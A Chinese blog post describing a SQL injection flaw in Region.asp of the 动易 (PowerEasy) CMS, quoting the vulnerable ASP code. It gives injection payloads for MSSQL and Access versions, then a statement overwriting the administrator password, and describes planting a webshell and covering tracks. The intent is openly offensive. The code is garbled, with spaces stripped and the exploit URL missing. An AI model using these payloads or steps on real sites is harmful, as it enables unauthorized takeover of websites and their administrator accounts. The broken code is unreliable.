今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误!
在Region.asp中
Country=ReplaceBadChar(Trim(Request("Country")))
Province=ReplaceBadChar(Trim(Request("Province")))
City=ReplaceBadChar(Trim(Request("City")))
对所有传入的变量都进行了过滤,但是编程者在这里:
SetTempRs=Conn.Execute("SELECTProvinceFROMPE_ProvinceWHERECountry='"&Country&"'ORDERBYProvinceID")
IfErrOrTempRs.EOFThen
ReDimShowProvince(0,0)
Province=Trim(Request.QueryString("Province"))
Else
ShowProvince=TempRs.GetRows(-1)
EndIf
SetTempRs=Conn.Execute("SELECTDISTINCTCityFROMPE_CityWHEREProvince='"&Province&"'")
大家可以看到,Province=Trim(Request.QueryString("Province"))这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。
但是要进入这个查询的前提是:Err=true或者TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECTProvinceFROMPE_ProvinceWHERECountry='"&Country&"'ORDERBYProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:
--
就是在
后面加上我们的SQL注入语句。
这就是整个利用原理,很简单,但也很致命的漏洞。
上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。
and1=1and'1'='1
这样的话,我们的and1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。
其中username是要暴的字段,哈哈,通杀的感觉爽吧
补充:
updatePE_AdminsetPassword='13955235245b2497'whereid=2--
如果不可以列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个
如果可以列目录就直接找web目录,然后用nb的getwebshell就可以拿到webshell了